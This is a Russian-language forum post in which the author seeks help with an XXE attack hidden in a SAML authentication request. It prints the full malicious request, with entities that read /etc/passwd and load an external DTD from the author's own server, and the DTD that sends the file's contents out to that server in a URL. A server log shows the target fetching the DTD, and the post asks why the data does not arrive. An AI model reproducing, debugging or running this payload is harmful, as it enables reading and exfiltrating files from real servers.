Подскажите по XXE в SAML-е
Делаю запрос:
Код:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://мойсайт.ru/evil1.dtd"> %e1;%foo;%dtd;]><saml2p:AuthnRequest xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceURL="http://мойсайт.ru?1" Destination="http://мойсайт.ru?2" ID="_2c57c7cb4e686d41499550471ee77e08" IssueInstant="2017-01-05T02:33:48.670Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://мойсайт.ru?3;</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#_2c57c7cb4e686d41499550471ee77e08"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="ds saml2 saml2p"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>66XlhMacOnMKrK921FWmzKfLwYY=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>tV+Jq2vU5MQ8D37iS+LlZqKRU4pBNcI+wzdn9IpofCdr1zN45MBVGVQ2qhH1es9edA3rVWRbc4FtsfFFLpgV4io86LbQVXlhT0CBaXWUBTphbadWZx89SKVzZvKDzD4GMgijELEGX/PE12uBWgL8CjKJ0KYWDGQB8FMWomU3/rg4k7dn0N/HE2FW95z7XcDTqhqQ2ruwU3E3zo3TGMJwggdrN/7AKSD6MuX6fnDRmVqtppqqrd0Vi6Hyi8osg+uMkk/WmcIRR9Jwx6jKNIFBl+TVxnj0I+iceThs77koAvkvuQVWhKQtK3KHwHyzGhDKDLRj2DqoOjCovRGJ8TPPnA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDjzCCAncCBFBOTRkwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRcwFQYDVQQIDA5Ob3J0aCBDYXJvbGluYTESMBAGA1UEBwwJQ2hhcmxvdHRlMRowGAYDVQQKDBFUaW1lIFdhcm5lciBDYWJsZTEMMAoGA1UECwwDVFNHMSUwIwYDVQQDDBx3YXlmYXJlci50aW1ld2FybmVyY2FibGUuY29tMB4XDTEyMDkxMDIwMjcwNVoXDTM2MDkwNDIwMjcwNVowgYsxCzAJBgNVBAYTAlVTMRcwFQYDVQQIDA5Ob3J0aCBDYXJvbGluYTESMBAGA1UEBwwJQ2hhcmxvdHRlMRowGAYDVQQKDBFUaW1lIFdhcm5lciBDYWJsZTEMMAoGA1UECwwDVFNHMSUwIwYDVQQDDBx3YXlmYXJlci50aW1ld2FybmVyY2FibGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+HefR47qyui1u/yDCdZytqlvNOSXQAkFGV6opEk4AoAF0UPq6yldbAnvLMWyjaSAE/Sj/zNNtMtCa9rdHQ5ig4Inx039kuqqkXdsfY2/4NIZD44+ZDQea5+91r7mW0dxW2skUxZdQj4IdwueO1crB2P8gJeEDbpb7h1P/QKKMr9j7fpOBlRCgMvETbNojqyVVrQC5s/lYR98254R2f9g77vEQ0A4yvCjflRojLMRujnWkd8CZFICdSUCsFlAgKTUg3w97hAY3qDLKJXr17SmGWbU2gT6Cta2FCMcAPnfQPsD8peWd8JkiEhc70dY1X5LtOITtFqwR+8Px4a/IpMnwIDAQABMA0GCSqGSIb3DQEBBQUAA4IBAQCBmZMbXMjaLhPEKJmjSO++WL3UaXfWbtmcM0X8mDT41r8izfLLpXxBOTcxbA8V/X/lm9gSHi5YvZqmuqqBuZ5jniZabDziyC9cvrczG4xcUHoPqjWez0GHiZXEAleKA0puha5U1Voo8OtACh3if7aYBv8hxGLkCgnz6ImQXx2R/mlnJIF6ZcWQNfevXXUmSTpKT9/jkDd5nVv9iDRpXd8KoOhPRnANJR52WsoR4/We4Nu2/bQf0RNcsH7FEsP0M5kYOiF+oXf70koWWTpmnkIm0UTalT9M2KSDtcxCvuEfSEKTNQWKUqE2S4ERLBz7Q4ZIHlQefIXWTlk/wAOwTX67</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2p:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/><saml2p:RequestedAuthnContext Comparison="exact"><saml2:AuthnContextDeclRef xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">secure/uri</saml2:AuthnContextDeclRef></saml2p:RequestedAuthnContext></saml2p:AuthnRequest>
В файле evil1.dtd находится
Код:
<!ENTITY % p1 SYSTEM "file:///etc/passwd"><!ENTITY % p2 "<!ENTITY e1 SYSTEM 'https://мойсайт.ru/?%p1;'>">%p2;
В логах приходит
ip серва - - [05/Jan/2017:05:38:06 +0300] "GET /evil1.dtd HTTP/1.1" 200 110 "-" "Java/1.7.0_72" "-"
Но почему-то не отсылает содержание etc/passwd, делает только запрос как вы видите к evil1.dtd

Что не так?